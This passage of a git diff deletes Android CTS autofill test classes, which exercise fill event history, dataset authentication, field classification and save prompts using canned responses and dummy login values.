-        final AtomicReference<AutofillId> fieldId2 = new AtomicReference<>();
-        final AtomicReference<AutofillId> fieldId3 = new AtomicReference<>();
-        final AtomicReference<AutofillId> fieldId4 = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1, ID_L1C2)
-                .setVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    fieldId1.set(findAutofillIdByResourceId(context, ID_L1C1));
-                    fieldId2.set(findAutofillIdByResourceId(context, ID_L1C2));
-                    fieldId3.set(findAutofillIdByResourceId(context, ID_L2C1));
-                    fieldId4.set(findAutofillIdByResourceId(context, ID_L2C2));
-                })
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field1);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "fully"); // u1: 100% u2:  20%
-        mActivity.setText(1, 2, "empty"); // u1:  20% u2: 100%
-        mActivity.setText(2, 1, "fooly"); // u1:  60% u2:  20%
-        mActivity.setText(2, 2, "emppy"); // u1:  20% u2:  80%
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForFieldsClassification(events.get(0),
-                new FieldClassificationResult[] {
-                        new FieldClassificationResult(fieldId1.get(),
-                                new String[] { "myId", "otherId" }, new float[] { 1.0F, 0.2F }),
-                        new FieldClassificationResult(fieldId2.get(),
-                                new String[] { "otherId", "myId" }, new float[] { 1.0F, 0.2F }),
-                        new FieldClassificationResult(fieldId3.get(),
-                                new String[] { "myId", "otherId" }, new float[] { 0.6F, 0.2F }),
-                        new FieldClassificationResult(fieldId4.get(),
-                                new String[] { "otherId", "myId"}, new float[] { 0.80F, 0.2F })});
-    }
-
-    @Test
-    public void testMiss() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData.Builder("id", "ABCDEF", "myId").build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field = mActivity.getCell(1, 1);
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1)
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "xyz");
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForContextCommitted(events.get(0));
-    }
-
-    @Test
-    public void testNoUserInput() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData.Builder("id", "FULLY", "myId").build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field = mActivity.getCell(1, 1);
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1)
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field);
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForContextCommitted(events.get(0));
-    }
-
-    @Test
-    public void testHit_usePackageUserData() throws Exception {
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData
-                .Builder("id", "TEST1", "cat")
-                .setFieldClassificationAlgorithm(null, null)
-                .build());
-
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field = mActivity.getCell(1, 1);
-        final AtomicReference<AutofillId> fieldId1 = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1)
-                .setVisitor((contexts, builder) -> fieldId1
-                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
-                .setUserData(new UserData.Builder("id2", "TEST2", "cat")
-                        .setFieldClassificationAlgorithm(null, null)
-                        .build())
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "test1");
-
-        // Finish context
-        mAfm.commit();
-
-        final Event packageUserDataEvent = InstrumentedAutoFillService.getFillEvents(1).get(0);
-        assertFillEventForFieldsClassification(packageUserDataEvent, fieldId1.get(), "cat", 0.8F);
-
-        final AtomicReference<AutofillId> fieldId2 = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setVisitor((contexts, builder) -> fieldId2
-                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
-                .setFieldClassificationIds(ID_L1C1)
-                .build());
-
-        // Need to switch focus first
-        mActivity.focusCell(1, 2);
-
-        // Trigger second autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field);
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final Event defaultUserDataEvent = InstrumentedAutoFillService.getFillEvents(1).get(0);
-        assertFillEventForFieldsClassification(defaultUserDataEvent, fieldId2.get(), "cat", 1.0F);
-    }
-
-    @Test
-    public void testHit_mergeUserData_manyDetectableFields() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData.Builder("id", "FULLY", "myId").build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field1 = mActivity.getCell(1, 1);
-        final AtomicReference<AutofillId> fieldId1 = new AtomicReference<>();
-        final AtomicReference<AutofillId> fieldId2 = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1, ID_L1C2)
-                .setVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    fieldId1.set(findAutofillIdByResourceId(context, ID_L1C1));
-                    fieldId2.set(findAutofillIdByResourceId(context, ID_L1C2));
-                })
-                .setUserData(new UserData.Builder("id2", "FOOLY", "otherId")
-                        .add("EMPTY", "myId")
-                        .build())
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field1);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "fully"); // u1:  20%, u2: 60%
-        mActivity.setText(1, 2, "empty"); // u1: 100%, u2: 20%
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForFieldsClassification(events.get(0),
-                new FieldClassificationResult[] {
-                        new FieldClassificationResult(fieldId1.get(),
-                                new String[] { "otherId", "myId" }, new float[] { 0.6F, 0.2F }),
-                        new FieldClassificationResult(fieldId2.get(),
-                                new String[] { "myId", "otherId" }, new float[] { 1.0F, 0.2F }),
-                });
-    }
-
-    /*
-     * TODO(b/73648631): other scenarios:
-     *
-     * - Multipartition (for example, one response with FieldsDetection, others with datasets,
-     *   saveinfo, and/or ignoredIds)
-     * - make sure detectable fields don't trigger a new partition
-     * v test partial hit (for example, 'fool' instead of 'full'
-     * v multiple fields
-     * v multiple value
-     * - combinations of above items
-     */
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryCommonTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryCommonTestCase.java
deleted file mode 100644
index 931193f..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryCommonTestCase.java
+++ /dev/null
@@ -1,526 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.CannedFillResponse.DO_NOT_REPLY_RESPONSE;
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.CheckoutActivity.ID_CC_NUMBER;
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.NULL_DATASET_ID;
-import static android.autofillservice.cts.Helper.assertDeprecatedClientState;
-import static android.autofillservice.cts.Helper.assertFillEventForAuthenticationSelected;
-import static android.autofillservice.cts.Helper.assertFillEventForDatasetAuthenticationSelected;
-import static android.autofillservice.cts.Helper.assertFillEventForDatasetSelected;
-import static android.autofillservice.cts.Helper.assertFillEventForDatasetShown;
-import static android.autofillservice.cts.Helper.assertFillEventForSaveShown;
-import static android.autofillservice.cts.Helper.assertNoDeprecatedClientState;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
-import static android.autofillservice.cts.LoginActivity.BACKDOOR_USERNAME;
-import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.inline.InlineFillEventHistoryTest;
-import android.content.Intent;
-import android.content.IntentSender;
-import android.os.Bundle;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.FillEventHistory;
-import android.service.autofill.FillEventHistory.Event;
-import android.service.autofill.FillResponse;
-import android.view.View;
-
-import org.junit.Test;
-
-import java.util.List;
-import java.util.concurrent.atomic.AtomicBoolean;
-
-/**
- * This is the common test cases with {@link FillEventHistoryTest} and
- * {@link InlineFillEventHistoryTest}.
- */
-@AppModeFull(reason = "Service-specific test")
-public abstract class FillEventHistoryCommonTestCase extends AbstractLoginActivityTestCase {
-
-    protected FillEventHistoryCommonTestCase() {}
-
-    protected FillEventHistoryCommonTestCase(UiBot inlineUiBot) {
-        super(inlineUiBot);
-    }
-
-    protected Bundle getBundle(String key, String value) {
-        final Bundle bundle = new Bundle();
-        bundle.putString(key, value);
-        return bundle;
-    }
-
-    @Test
-    public void testDatasetAuthenticationSelected() throws Exception {
-        enableService();
-
-        // Set up FillResponse with dataset authentication
-        Bundle clientState = new Bundle();
-        clientState.putCharSequence("clientStateKey", "clientStateValue");
-
-        // Prepare the authenticated response
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation("Dataset", isInlineMode())
-                        .build());
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "username")
-                        .setId("name")
-                        .setPresentation("authentication", isInlineMode())
-                        .setAuthentication(authentication)
-                        .build())
-                .setExtras(clientState).build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger autofill and IME.
-        mUiBot.focusByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-
-        // Authenticate
-        sReplier.getNextFillRequest();
-        mUiBot.selectDataset("authentication");
-        mActivity.assertAutoFilled();
-
-        // Verify fill selection
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-        assertFillEventForDatasetShown(events.get(0), "clientStateKey", "clientStateValue");
-        assertFillEventForDatasetAuthenticationSelected(events.get(1), "name",
-                "clientStateKey", "clientStateValue");
-    }
-
-    @Test
-    public void testAuthenticationSelected() throws Exception {
-        enableService();
-
-        // Set up FillResponse with response wide authentication
-        Bundle clientState = new Bundle();
-        clientState.putCharSequence("clientStateKey", "clientStateValue");
-
-        // Prepare the authenticated response
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedFillResponse.Builder().addDataset(
-                        new CannedDataset.Builder()
-                                .setField(ID_USERNAME, "username")
-                                .setId("name")
-                                .setPresentation("dataset", isInlineMode())
-                                .build())
-                        .setExtras(clientState).build());
-
-        sReplier.addResponse(new CannedFillResponse.Builder().setExtras(clientState)
-                .setPresentation("authentication", isInlineMode())
-                .setAuthentication(authentication, ID_USERNAME)
-                .build());
-
-        // Trigger autofill and IME.
-        mUiBot.focusByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-
-        // Authenticate
-        sReplier.getNextFillRequest();
-        mUiBot.selectDataset("authentication");
-        mUiBot.waitForIdle();
-        mUiBot.selectDataset("dataset");
-        mUiBot.waitForIdle();
-
-        // Verify fill selection
-        final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(4);
-        assertDeprecatedClientState(selection, "clientStateKey", "clientStateValue");
-        List<Event> events = selection.getEvents();
-        assertFillEventForDatasetShown(events.get(0), "clientStateKey", "clientStateValue");
-        assertFillEventForAuthenticationSelected(events.get(1), NULL_DATASET_ID,
-                "clientStateKey", "clientStateValue");
-        assertFillEventForDatasetShown(events.get(2), "clientStateKey", "clientStateValue");
-        assertFillEventForDatasetSelected(events.get(3), "name",
-                "clientStateKey", "clientStateValue");
-    }
-
-    @Test
-    public void testDatasetSelected_twoResponses() throws Exception {
-        enableService();
-
-        // Set up first partition with an anonymous dataset
-        Bundle clientState1 = new Bundle();
-        clientState1.putCharSequence("clientStateKey", "Value1");
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "username")
-                        .setPresentation("dataset1", isInlineMode())
-                        .build())
-                .setExtras(clientState1)
-                .build());
-        mActivity.expectAutoFill("username");
-
-        // Trigger autofill and IME.
-        mUiBot.focusByRelativeId(ID_USERNAME);
-        waitUntilConnected();
-        sReplier.getNextFillRequest();
-        mUiBot.selectDataset("dataset1");
-        mUiBot.waitForIdle();
-        mActivity.assertAutoFilled();
-
-        {
-            // Verify fill selection
-            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
-            assertDeprecatedClientState(selection, "clientStateKey", "Value1");
-            final List<Event> events = selection.getEvents();
-            assertFillEventForDatasetShown(events.get(0), "clientStateKey", "Value1");
-            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID,
-                    "clientStateKey", "Value1");
-        }
-
-        // Set up second partition with a named dataset
-        Bundle clientState2 = new Bundle();
-        clientState2.putCharSequence("clientStateKey", "Value2");
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(
-                        new CannedDataset.Builder()
-                                .setField(ID_PASSWORD, "password2")
-                                .setPresentation("dataset2", isInlineMode())
-                                .setId("name2")
-                                .build())
-                .addDataset(
-                        new CannedDataset.Builder()
-                                .setField(ID_PASSWORD, "password3")
-                                .setPresentation("dataset3", isInlineMode())
-                                .setId("name3")
-                                .build())
-                .setExtras(clientState2)
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_PASSWORD).build());
-        mActivity.expectPasswordAutoFill("password3");
-
-        // Trigger autofill on password
-        mActivity.onPassword(View::requestFocus);
-        sReplier.getNextFillRequest();
-        mUiBot.selectDataset("dataset3");
-        mUiBot.waitForIdle();
-        mActivity.assertAutoFilled();
-
-        {
-            // Verify fill selection
-            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
-            assertDeprecatedClientState(selection, "clientStateKey", "Value2");
-            final List<Event> events = selection.getEvents();
-            assertFillEventForDatasetShown(events.get(0), "clientStateKey", "Value2");
-            assertFillEventForDatasetSelected(events.get(1), "name3",
-                    "clientStateKey", "Value2");
-        }
-
-        mActivity.onPassword((v) -> v.setText("new password"));
-        mActivity.syncRunOnUiThread(() -> mActivity.finish());
-        waitUntilDisconnected();
-
-        {
-            // Verify fill selection
-            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(4);
-            assertDeprecatedClientState(selection, "clientStateKey", "Value2");
-
-            final List<Event> events = selection.getEvents();
-            assertFillEventForDatasetShown(events.get(0), "clientStateKey", "Value2");
-            assertFillEventForDatasetSelected(events.get(1), "name3",
-                    "clientStateKey", "Value2");
-            assertFillEventForDatasetShown(events.get(2), "clientStateKey", "Value2");
-            assertFillEventForSaveShown(events.get(3), NULL_DATASET_ID,
-                    "clientStateKey", "Value2");
-        }
-    }
-
-    @Test
-    public void testNoEvents_whenServiceReturnsNullResponse() throws Exception {
-        enableService();
-
-        // First reset
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "username")
-                        .setPresentation("dataset1", isInlineMode())
-                        .build())
-                .build());
-        mActivity.expectAutoFill("username");
-
-        // Trigger autofill and IME.
-        mUiBot.focusByRelativeId(ID_USERNAME);
-        waitUntilConnected();
-        sReplier.getNextFillRequest();
-        mUiBot.selectDataset("dataset1");
-        mUiBot.waitForIdleSync();
-        mActivity.assertAutoFilled();
-
-        {
-            // Verify fill selection
-            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
-            assertNoDeprecatedClientState(selection);
-            final List<Event> events = selection.getEvents();
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
-        }
-
-        // Second request
-        sReplier.addResponse(NO_RESPONSE);
-        mActivity.onPassword(View::requestFocus);
-        mUiBot.waitForIdleSync();
-        sReplier.getNextFillRequest();
-        mUiBot.assertNoDatasets();
-        waitUntilDisconnected();
-
-        InstrumentedAutoFillService.assertNoFillEventHistory();
-    }
-
-    @Test
-    public void testNoEvents_whenServiceReturnsFailure() throws Exception {
-        enableService();
-
-        // First reset
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "username")
-                        .setPresentation("dataset1", isInlineMode())
-                        .build())
-                .build());
-        mActivity.expectAutoFill("username");
-
-        // Trigger autofill and IME.
-        mUiBot.focusByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-        waitUntilConnected();
-        sReplier.getNextFillRequest();
-        mUiBot.selectDataset("dataset1");
-        mUiBot.waitForIdleSync();
-        mActivity.assertAutoFilled();
-
-        {
-            // Verify fill selection
-            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
-            assertNoDeprecatedClientState(selection);
-            final List<Event> events = selection.getEvents();
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
-        }
-
-        // Second request
-        sReplier.addResponse(new CannedFillResponse.Builder().returnFailure("D'OH!").build());
-        mActivity.onPassword(View::requestFocus);
-        mUiBot.waitForIdleSync();
-        sReplier.getNextFillRequest();
-        mUiBot.assertNoDatasets();
-        waitUntilDisconnected();
-
-        InstrumentedAutoFillService.assertNoFillEventHistory();
-    }
-
-    @Test
-    public void testNoEvents_whenServiceTimesout() throws Exception {
-        enableService();
-
-        // First reset
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "username")
-                        .setPresentation("dataset1", isInlineMode())
-                        .build())
-                .build());
-        mActivity.expectAutoFill("username");
-
-        // Trigger autofill and IME.
-        mUiBot.focusByRelativeId(ID_USERNAME);
-        waitUntilConnected();
-        sReplier.getNextFillRequest();
-        mUiBot.selectDataset("dataset1");
-        mActivity.assertAutoFilled();
-
-        {
-            // Verify fill selection
-            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
-            assertNoDeprecatedClientState(selection);
-            final List<Event> events = selection.getEvents();
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
-        }
-
-        // Second request
-        sReplier.addResponse(DO_NOT_REPLY_RESPONSE);
-        mActivity.onPassword(View::requestFocus);
-        sReplier.getNextFillRequest();
-        waitUntilDisconnected();
-
-        InstrumentedAutoFillService.assertNoFillEventHistory();
-    }
-
-    /**
-     * Tests the following scenario:
-     *
-     * <ol>
-     *    <li>Activity A is launched.
-     *    <li>Activity A triggers autofill.
-     *    <li>Activity B is launched.
-     *    <li>Activity B triggers autofill.
-     *    <li>User goes back to Activity A.
-     *    <li>Activity A triggers autofill.
-     *    <li>User triggers save on Activity A - at this point, service should have stats of
-     *        activity A.
-     * </ol>
-     */
-    @Test
-    public void testEventsFromPreviousSessionIsDiscarded() throws Exception {
-        enableService();
-
-        // Launch activity A
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setExtras(getBundle("activity", "A"))
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build());
-
-        // Trigger autofill and IME on activity A.
-        mUiBot.focusByRelativeId(ID_USERNAME);
-        waitUntilConnected();
-        sReplier.getNextFillRequest();
-
-        // Verify fill selection for Activity A
-        final FillEventHistory selectionA = InstrumentedAutoFillService.getFillEventHistory(0);
-        assertDeprecatedClientState(selectionA, "activity", "A");
-
-        // Launch activity B
-        mActivity.startActivity(new Intent(mActivity, CheckoutActivity.class));
-        mUiBot.assertShownByRelativeId(ID_CC_NUMBER);
-
-        // Trigger autofill on activity B
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setExtras(getBundle("activity", "B"))
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_CC_NUMBER, "4815162342")
-                        .setPresentation("datasetB", isInlineMode())
-                        .build())
-                .build());
-        mUiBot.focusByRelativeId(ID_CC_NUMBER);
-        sReplier.getNextFillRequest();
-
-        // Verify fill selection for Activity B
-        final FillEventHistory selectionB = InstrumentedAutoFillService.getFillEventHistory(1);
-        assertDeprecatedClientState(selectionB, "activity", "B");
-        assertFillEventForDatasetShown(selectionB.getEvents().get(0), "activity", "B");
-
-        // Set response for back to activity A
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setExtras(getBundle("activity", "A"))
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build());
-
-        // Now switch back to A...
-        mUiBot.pressBack(); // dismiss autofill
-        mUiBot.pressBack(); // dismiss keyboard (or task, if there was no keyboard)
-        final AtomicBoolean focusOnA = new AtomicBoolean();
-        mActivity.syncRunOnUiThread(() -> focusOnA.set(mActivity.hasWindowFocus()));
-        if (!focusOnA.get()) {
-            mUiBot.pressBack(); // dismiss task, if the last pressBack dismissed only the keyboard
-        }
-        mUiBot.assertShownByRelativeId(ID_USERNAME);
-        assertWithMessage("root window has no focus")
-                .that(mActivity.getWindow().getDecorView().hasWindowFocus()).isTrue();
-
-        sReplier.getNextFillRequest();
-
-        // ...and trigger save
-        // Set credentials...
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-        sReplier.getNextSaveRequest();
-
-        // Finally, make sure history is right
-        final FillEventHistory finalSelection = InstrumentedAutoFillService.getFillEventHistory(1);
-        assertDeprecatedClientState(finalSelection, "activity", "A");
-        assertFillEventForSaveShown(finalSelection.getEvents().get(0), NULL_DATASET_ID, "activity",
-                "A");
-    }
-
-    @Test
-    public void testContextCommitted_withoutFlagOnLastResponse() throws Exception {
-        enableService();
-        // Trigger 1st autofill request
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setId("id1")
-                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
-                        .setPresentation("dataset1", isInlineMode())
-                        .build())
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
-                .build());
-        mActivity.expectAutoFill(BACKDOOR_USERNAME);
-        // Trigger autofill and IME on username.
-        mUiBot.focusByRelativeId(ID_USERNAME);
-        sReplier.getNextFillRequest();
-        mUiBot.selectDataset("dataset1");
-        mActivity.assertAutoFilled();
-        // Verify fill history
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id1");
-        }
-
-        // Trigger 2nd autofill request (which will clear the fill event history)
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setId("id2")
-                        .setField(ID_PASSWORD, "whatever")
-                        .setPresentation("dataset2", isInlineMode())
-                        .build())
-                // don't set flags
-                .build());
-        mActivity.expectPasswordAutoFill("whatever");
-        mActivity.onPassword(View::requestFocus);
-        sReplier.getNextFillRequest();
-        mUiBot.selectDataset("dataset2");
-        mActivity.assertAutoFilled();
-        // Verify fill history
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id2");
-        }
-
-        // Finish the context by login in
-        final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        {
-            // Verify fill history
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id2");
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java b/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
deleted file mode 100644
index 92e963a..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
+++ /dev/null
@@ -1,797 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.NULL_DATASET_ID;
-import static android.autofillservice.cts.Helper.assertFillEventForDatasetSelected;
-import static android.autofillservice.cts.Helper.assertFillEventForDatasetShown;
-import static android.autofillservice.cts.Helper.assertFillEventForSaveShown;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.autofillservice.cts.LoginActivity.BACKDOOR_USERNAME;
-import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
-import static android.service.autofill.FillEventHistory.Event.TYPE_CONTEXT_COMMITTED;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.FillContext;
-import android.service.autofill.FillEventHistory;
-import android.service.autofill.FillEventHistory.Event;
-import android.service.autofill.FillResponse;
-import android.support.test.uiautomator.UiObject2;
-import android.view.View;
-import android.view.autofill.AutofillId;
-
-import com.google.common.collect.ImmutableMap;
-
-import org.junit.Test;
-
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-
-/**
- * Test that uses {@link LoginActivity} to test {@link FillEventHistory}.
- */
-@AppModeFull(reason = "Service-specific test")
-public class FillEventHistoryTest extends FillEventHistoryCommonTestCase {
-
-    @Test
-    public void testContextCommitted_whenServiceDidntDoAnything() throws Exception {
-        enableService();
-
-        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
-
-        // Trigger autofill on username
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger save
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // Assert no events where generated
-        InstrumentedAutoFillService.assertNoFillEventHistory();
-    }
-
-    @Test
-    public void textContextCommitted_withoutDatasets() throws Exception {
-        enableService();
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build());
-
-        // Trigger autofill on username
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger save
-        mActivity.onUsername((v) -> v.setText("malkovich"));
